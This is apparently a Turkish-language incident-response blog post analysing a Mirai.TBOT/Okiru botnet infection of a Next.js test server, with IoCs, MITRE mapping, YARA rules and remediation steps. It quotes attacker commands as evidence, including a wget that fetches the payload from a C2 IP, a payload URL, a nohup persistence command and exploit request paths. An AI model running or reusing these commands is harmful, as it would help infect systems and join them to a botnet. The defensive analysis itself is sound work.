Gönderi

Alpha Scramble: Gerçek Bir Olay Müdahalesi – Mirai Botnet Zararlı Yazılım Analizi

Alpha Scramble: Gerçek Bir Olay Müdahalesi – Mirai Botnet Zararlı Yazılım Analizi

Scramble Terminolojisi Hakkında: Bu yazı serisinin isimlendirme mantığı (Alpha, Tango vb. Scramble kodları) hakkında detaylı bilgi almak için Scramble Konsepti yazımı okuyabilirsiniz.

“Senaryo tamamen gerçektir ve belirli servis adlarının gizlenmesi haricinde bir değişiklik yapılmamıştır. Saldırı, yeni alınmış düşük ölçekli bir test sunucusunda yapılan hatalı yapılandırma (deploy) sebebiyle başarılı olmuştur; ancak olaydan kısa bir süre sonra sunucu izole edilerek temizlenmiştir.”

1. Yönetici Özeti

27 Şubat 2026 tarihinde, test sunucumuzda yer alan ve Next.js framework ile çalıştırılan XXXX websitesine yönelik başarılı bir Uzaktan Kod Çalıştırma (RCE) saldırısı tespit edilmiştir.

Saldırganlar sistemde var olan bir servis zafiyetinden yararlanarak dış bir kaynaktan zararlı bir ELF(Executable and Linkable Format) dosyasını sunucuya indirmiş ve www-data yetkileriyle çalıştırmıştır

Kapsamlı tersine mühendislik (reverse engineering) ve log analizleri sonucunda, yüklenen zararlı yazılımın Mirai.TBOT (veya Okiru) botnet ailesine ait değiştirilmiş bir varyant olduğu belirlenmiştir. Saldırının temel amacı, güvenlik açıkları bulunan sunucuyu bir DDoS botnet ağına (“zombi” ağ) katmak ve aynı zamanda hedeflenen diğer internete açık sistemleri (IoT ve web arayüzleri) içeriden tarayarak enfeksiyonu yaymaktır. Tespit sonrasında ilgili ağ bağlantıları engellenmiş, yalıtım (izolasyon) işlemleri uygulanmış ve detaylı kriminal inceleme aşamasına geçilmiştir

2. Zararlı Yazılım Profili

  • File type: ELF 64-bit LSB executable, statically linked, not stripped, not UPX packed.
  • Architecture: x86_64
  • Hashes: MD5: 4b34c372a4510688429dd078960c9672 SHA1: 33853ea750bd5e5757ba5b3e05b20260f700e74f SHA256: fc3ec0b158121039c730d6e9d173b240c4ce8c76e22d393c63fa29916dc44c3e
  • Yol (Hedef Sistem): /tmp ve/dev/shm
  • Boyut: 82,964 Bytes

3. Enfeksiyon Zinciri ve Yeniden Oluşturma

Saldırı zinciri (Attack Chain) sistem kayıtlarına göre aşağıdaki aşamalarla gerçekleşmiştir:

  1. Kör Tarama (Blind Scanning) ve Başarısız Exploit Denemeleri: 16–27 Şubat 2026 tarihleri arasında saldırganlar tarafından hedefin Apache ve Nginx web servislerine yönelik çok sayıda HTTP GET/POST isteği gönderilmiştir. Bu isteklerde yaygın Router ve CGI zafiyetleri (örneğin /device.rsp?opt=sys..., /cgi-bin/..., xmlrpc.php ve Path Traversal) denenmiştir. Ancak log analizlerine göre sunucu bu isteklere 404 Not Found ve 400 Bad Request yanıtları dönmüş, yani bu zafiyetlerin hiçbiri başarılı olamamıştır.
  2. Gerçek Bulaşma Noktası — Next.js RCE: Saldırganların otomatik taramaları (blind scan) başarısız olduktan sonra asıl sızma işlemi, sistemde çalışan xxxxxx adlı Node.js/Next.js servisi üzerinden gerçekleştirilmiştir. Loglar saldırganın Next.js uygulamasındaki bir Uzaktan Kod Çalıştırma (RCE) zafiyetini (Command Injection) başarıyla sömürdüğünü kanıtlamaktadır.
  3. RCE, 27 Şubat 2026 tarihinde internete açık 3001 portundaki xxxxxx Next.js uygulamasında bulunan application-level command injection zafiyeti üzerinden alınmıştır. Saldırgan, otomatik exploit scripti ile PoC doğrulama işlemi gerçekleştirmiştir.
  4. Payload Teslimatı: xxxxxx servisi üzerinde kod çalıştırma yetkisi elde edildikten sonra wget vb. yöntemlerle indirme işlemi gerçekleştirilmiş, zararlı yazılım sunucudan çekilmiştir (wget http://94.156.152[.]67/xdlol.x86_64). Daha önceki Router zafiyeti taramalarında da bbc adlı payload’u çekme denemeleri yapılmış olsa da, asıl enfeksiyon xdlol.x86_64 ile gerçekleşmiştir.
  5. Çalıştırma ve İz (Signature): İndirilen dosyaya yetkiler verildikten sonra çalıştırılmıştır. Uygulama başarılı şekilde komut icra ettiğinde RCE doğrulaması mahiyetinde ekrana [+] RCE SUCCESS: gosh that chinese family at the other table sure ate a lot “imza” dizesini basmıştır. Bu çıktı, Next.js uygulamasının loglarında açıkça görülmektedir.
  6. Rakip Botnetleri Temizleme (Killer): Zararlı, çalışır çalışmaz sistemde yer alabilecek diğer botnet enfeksiyonlarını (xd.x86 gibi süreçleri) sonlandırmak amacıyla kill rutinlerini çalıştırmıştır.

4. Zararlı Yazılımın Statik Analizi

image.png

image.png

image.png

UPX ve Detect It Easy ile incelendiğinde, zararlının UPX gibi bir packer kullanmadığı (statically linked olduğu) ve ELF yapısının incelenebildiği görülmüştür

image.png

Strings incelemesi yapıldığında metinlerin bir kısmı anlamsız (şifreli) bir formda, bir kısmı ise okunabilir formatta bulunmaktadır.

image.png

ELF dosyası içindeki hassas metin tabanlı bilgilerin (parolalar, komutlar vb.) şifrelendiği görülmektedir. Metinler çalışma zamanında (runtime) table_unlock_val adlı fonksiyon üzerinden deşifre edilmektedir.

4.2 XOR Mekanizması

Şifreleme algoritması, sabit boyutlu veya stream (akış) bir cipher yerine “maskeleme” işlemi yürüten spesifik bir XOR mekanizmasından ibarettir:

  • Zararlı, bellek içerisinde 20 elemanlı 32-bit bir anahtar dizisi (table_keys) bulundurmaktadır.
  • Döngü, her bir byte’ın deşifre işleminde bu dizideki 32-bit anahtarı alır; 4 byte’ı da mantıksal XOR işlemine (byte0 ^ byte1 ^ byte2 ^ byte3) tabi tutarak her byte için tek bir sabite indirger.
  • Bu işlem 20 anahtar döngüsünde yinelendiği için sonuçta tek bir kümülatif XOR anahtarı (örneğin tespit edilen 0x3A baytı) üretilmesini sağlar.

image.png

4.3 Scanner Modülü

Zararlı yazılım, iç ve dış ağda potansiyel yeni kurbanlar bulmak için yoğun bir brute-force ve zafiyet tarama işlemi yapmaktadır: asus.c, dlink_scanner.c, linksys.c, gpon80_scanner.c, thinkphp.c, realtek.c. Ayrıca, POST /ctrlt/DeviceUpgrade_1 HTTP isteğini tetikleyerek ağdaki Huawei ev tipi zafiyetli ağ cihazlarını aktif olarak taradığı ve http://103.186.147[.]155/bins/mips üzerinden yeni enfeksiyonları tetiklediği gözlemlenmiştir.

4.4 UPnP Abuse ve Kalıcılık

Zararlı, bellek içerisinde var olan rakip zararlıları silmekle başlangıç yapar (killer_mirai_exists ve killer_kill_by_port(23)). /bins/kla.sh scripti indirilerek nohup sh kla.sh tbk >/dev/null 2>&1 & komutu ile arka planda çalıştırılır. Önemli not: nohup yalnızca oturum kapanmasına karşı koruma sağlar; sistem yeniden başlatıldığında (reboot) kalıcılık garantilemez. Nitekim analizin son aşamasında reboot sonrası kalıcılık doğrulanamamıştır. Yazılım kendini öncelikli olarak RAM diske (/dev/shm) kurarak disk üzerinde iz bırakmaktan kaçınmakta ve logları dışarı sızdırmaya odaklanmaktadır.

5. Komuta ve Kontrol (C2) Analizi

IP’ler: 94.156.152[.]67 (C2 ve Payload Download), 130.12.180[.]151

Portlar: C2 merkezi 8657, exploit payload yükleme (Dropper) amaçlı 80, 8080 ve 443.

Protokol: Şifrelenmiş TCP/UDP.

Communication pattern: Bulaşma ardından ana C2 sunucusuna “sistem pinglemesi” gönderilir; ardından bot beklemeye geçer. Merkeze attack_* sinyali geldiğinde DDoS saldırısını ve ağ içinde aktif taramaları eşzamanlı gerçekleştirir.

image.png

Görsel: C2 yapısı

6. Zararlı Yük (Payload) Dağıtım Altyapısı

Analizde tespit edilen dağıtım merkezleri sadece sızılan sistemi değil, yayılmacı doğası gereği diğer mimari (MIPS, ARM vb.) cihazları için de dosyaları barındırır. http://[IP]/file/bbc üzerinden indirilip sh ile çalıştırılan bootstrapper’lar mevcuttur. router.tplink.sh, kla.sh ve v.sh yükleyici scriptleri kullanılmaktadır.

7.Tespit Edilen Zafiyet Göstergeleri (IoC)

Ağ Göstergeleri (IP Adresleri ve Domainler)

  • 94.156.152[.]67 (C2 / Payload Drop)
  • 130.12.180[.]151 (Komut Dağıtım Kaynağı)
  • 45.148.120[.]23 (Alternatif Drop Sunucusu)
  • 185.236.25[.]204 (Alternatif Script Sunucusu)
  • 103.186.147[.]155 (Huawei MIPS Payload URL Dağıtımı)

Dosya Özet Değerleri (x86_64 Varyantı)

  • MD5: 4b34c372a4510688429dd078960c9672
  • SHA1: 33853ea750bd5e5757ba5b3e05b20260f700e74f
  • SHA256: fc3ec0b158121039c730d6e9d173b240c4ce8c76e22d393c63fa29916dc44c3e

VirusTotal Analiz Linkleri

C2 / Dropper IP Analizi (VirusTotal)

xdlol.x86_64 Zararlı Dosya Analizi (VirusTotal)

8. MITRE ATT&CK Eşleştirmesi

TaktikTeknik IDTeknik AdıHedefte Gözlemlenen Davranış
İlk ErişimT1190Exploit Public-Facing Applicationdevice.rsp, Next.js RCE üzerinden web açıklarının exploit edilmesi.
ÇalıştırmaT1059.004Command and Scripting Interpreter: Unix ShellWeb isteğine yerleştirilen bash komutlarının sömürülmesi (sh, bash).
Savunma AtlatmaT1140Obfuscated Files or InformationHard-coded statik dizelerin kod içerisinde XOR şifrelenmesi.
Savunma AtlatmaT1562.001Impair Defenses: Disable or Modify ToolsRakip botnet süreçlerinin (xd.x86 vb.) kill rutinleri ile sonlandırılması. T1489’dan farklı olarak bu eylem hedef sistemin yasal servislerini değil, rakip kötü niyetli süreçleri hedef almaktadır.
KeşifT1046Network Service DiscoveryDiğer ağ hizmetlerini (GPON, asus, huawei) exploit etmek üzere tarama.
Komuta ve KontrolT1071.001Application Layer Protocol: Web ProtocolsC2 sunucusu üzerinden bağlantı kurma, zararlı script indirmeleri.
EtkiT1498Network Denial of ServiceTCP, UDP flood metodolojileri ile dışarıya doğru botnet operasyon hizmetleri sağlama.

9. YARA RULE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import "elf"

rule APT_Mirai_TBOT_Okiru_ELF_Payload {
    meta:
        description  = "Detects Mirai.TBOT/Okiru-like ELF Linux payload (82KB profile; anchored on table_unlock_val + table_keys)"
        author       = "Özhan Yıldırım"
        date         = "2026-03-02"
        hash_md5     = "4b34c372a4510688429dd078960c9672"
        hash_sha256  = "fc3ec0b158121039c730d6e9d173b240c4ce8c76e22d393c63fa29916dc44c3e"
        reference    = "Mirai Botnet Incident Analysis Report"
        severity     = "High"

    strings:
        // Strong anchors (confirmed present in your sample)
        $s_unlock = "table_unlock_val" ascii
        $s_keys   = "table_keys" ascii

        // Killer module
        $k1 = "killer_mirai_exists" ascii
        $k2 = "killer_kill_by_port" ascii
        $k_proc1 = "xdlol.x86_64" ascii
        $k_proc2 = "xd.x86" ascii

        // Scanner / propagation indicators
        $sc1 = "gpon80_scanner" ascii
        $sc2 = "thinkphp" ascii
        $sc3 = "realtek" ascii
        $sc4 = "linksys" ascii
        $sc5 = "dlink" ascii
        $sc6 = "asus" ascii

        // IOC bonus signals (rotate fast)
        $ip1 = "94.156.152.67" ascii
        $ip2 = "130.12.180.151" ascii
        $ip3 = "45.148.120.23" ascii
        $ip4 = "185.236.25.204" ascii
        $ip5 = "103.186.147.155" ascii

    condition:
        elf.is_elf and
        (elf.type == elf.ET_EXEC or elf.type == elf.ET_DYN) and

        // Sample profile: 82,964 bytes (~81KB). Tight band reduces FP.
        filesize > 16KB and filesize < 256KB and

        // Anchors must exist
        ($s_unlock and $s_keys) and

        // At least one extra bucket to avoid generic hits
        (
            1 of ($k*) or
            2 of ($sc*) or
            1 of ($ip*)
        )
}

-----------------------------------------------------------------------------------

rule APT_Mirai_TBOT_NextJS_RCE_And_Log_Artifacts {
    meta:
        description = "Detects Next.js RCE + Mirai.TBOT dropper/scanner artifacts in logs/scripts (ASCII or UTF-16LE safe)"
        author      = "Özhan Yıldırım"
        date        = "2026-03-02"
        reference   = "Mirai Botnet Incident Analysis Report"
        severity    = "High"

    strings:
        // High-confidence RCE success marker
        $rce_sig = "[+] RCE SUCCESS: gosh that chinese family at the other table sure ate a lot" ascii wide

        // Persistence / execution
        $cmd_run = "nohup sh kla.sh tbk >/dev/null 2>&1 &" ascii wide

        // Dropper artifacts
        $p1 = "/bins/kla.sh" ascii wide
        $p2 = "router.tplink.sh" ascii wide
        $p3 = "/file/bbc" ascii wide
        $pay = "xdlol.x86_64" ascii wide

        // Scanner web requests
        $req1 = "POST /ctrlt/DeviceUpgrade_1" ascii wide
        $req2 = "/device.rsp?opt=sys" ascii wide
        $req3 = "xmlrpc.php" ascii wide

    condition:
        // Any of these indicates compromise / tooling presence
        $rce_sig or
        $cmd_run or
        2 of ($p*) or
        ($pay and 1 of ($req*))
}

10 Sonuç ve Öneriler

10.1 Teknik Sonuç Değerlendirmesi

Gerçekleştirilen analizler sonucunda olayın kök nedeni, internete açık konumda çalışan Next.js tabanlı xxxx servisinde bulunan bir Uzaktan Kod Çalıştırma (RCE) zafiyeti olarak belirlenmiştir. Saldırgan, başarısız router/CGI exploit denemelerinin ardından bu zafiyeti başarıyla sömürerek sistem üzerinde www-data yetkileriyle komut icra etmiştir.

Bu erişim üzerinden:

  • xdlol.x86_64 adlı ELF payload indirilmiş,
  • Çalıştırılmış,
  • Sistem Mirai.TBOT (Okiru varyantı) botnet ağına dahil edilmiştir,
  • C2 ile 8657 portu üzerinden haberleşme başlatılmış,
  • İç ve dış ağ taramaları aktif hale getirilmiştir,
  • Huawei UPnP ve IoT cihazlarına yönelik yayılma faaliyetleri başlatılmıştır,
  • Rakip botnet süreçleri sonlandırılmıştır,
  • Kalıcılık için kla.sh betiği devreye alınmıştır.

Sunucu, olay anından itibaren:

  • DDoS operasyonları için kullanılabilecek bir bot
  • Aynı zamanda lateral yayılım için aktif bir tarama düğümü

konumuna evrilmiştir.

Olayın kapsamı, privilege escalation veya kernel seviyesinde kalıcı rootkit izine dair bir bulgu içermemektedir; enfeksiyon kullanıcı alanı (user-space) seviyesinde kalmıştır.


10.2 Önerilen İyileştirme ve Güvenlik Aksiyonları

Olayın teknik doğası dikkate alınarak aşağıdaki düzeltici ve önleyici aksiyonlar önerilmiştir:

  1. Next.js Servis Güvenliği
    • RCE zafiyetinin yamalanması
    • Servisin güncel LTS sürüme geçirilmesi
    • Input validation ve command execution noktalarının yeniden tasarlanması
  2. Outbound Trafik Kontrolü
    • Varsayılan outbound deny politikası uygulanması
    • Sadece whitelist edilen hedeflere çıkış izni verilmesi
    • 8657, 23, 2323 gibi IoT botnet portlarının bloklanması
  3. Dosya Sistemi Sıkılaştırması
    • /tmp ve /dev/shm dizinlerinin noexec olarak mount edilmesi
    • RAM disk üzerinden çalıştırılabilir payload riskinin azaltılması
  4. Least Privilege Modeli
    • www-data kullanıcısının shell erişiminin kısıtlanması
    • Servislerin ayrı kullanıcı konteynerlerinde izole edilmesi

10.3 Uygulanan Aksiyonlar (Yapılanlar)

Olay müdahalesi sürecinde aşağıdaki somut aksiyonlar uygulanmıştır:

  • ✔ Etkilenen sistem ağdan izole edilmiştir.
  • ✔ Aktif C2 bağlantıları firewall seviyesinde engellenmiştir.
  • ✔ Tespit edilen IP adresleri blacklist’e alınmıştır.
  • ✔ Zararlı dosya adli kopyalama (forensic acquisition) sonrası sistemden kaldırılmıştır.
  • ✔ /root/ir dizini altında adli imaj ve hash doğrulaması alınmıştır.
  • ✔ Next.js servisi durdurulmuş ve geçici olarak erişime kapatılmıştır.
  • ✔ Olay zinciri log seviyesinde yeniden oluşturulmuştur.
  • ✔ Zararlı binary tersine mühendislik analizi tamamlanmış, XOR anahtarı çıkarılmıştır.
  • ✔ C2 ve payload dağıtım altyapısı haritalanmıştır.
  • ✔ MITRE ATT&CK eşleştirmesi yapılmıştır.
  • ✔ IoC listesi oluşturulmuş ve SOC birimine iletilmiştir.

Ek olarak:

  • Sistem üzerinde kalıcı rootkit veya kernel hook izine rastlanmamıştır.
  • Enfeksiyon RAM odaklı olduğu için reboot sonrası kalıcılık doğrulanmamıştır.
  • Kla.sh betiğinin yeniden tetiklenmediği teyit edilmiştir.
Bu gönderi CC BY 4.0 lisansı altındadır.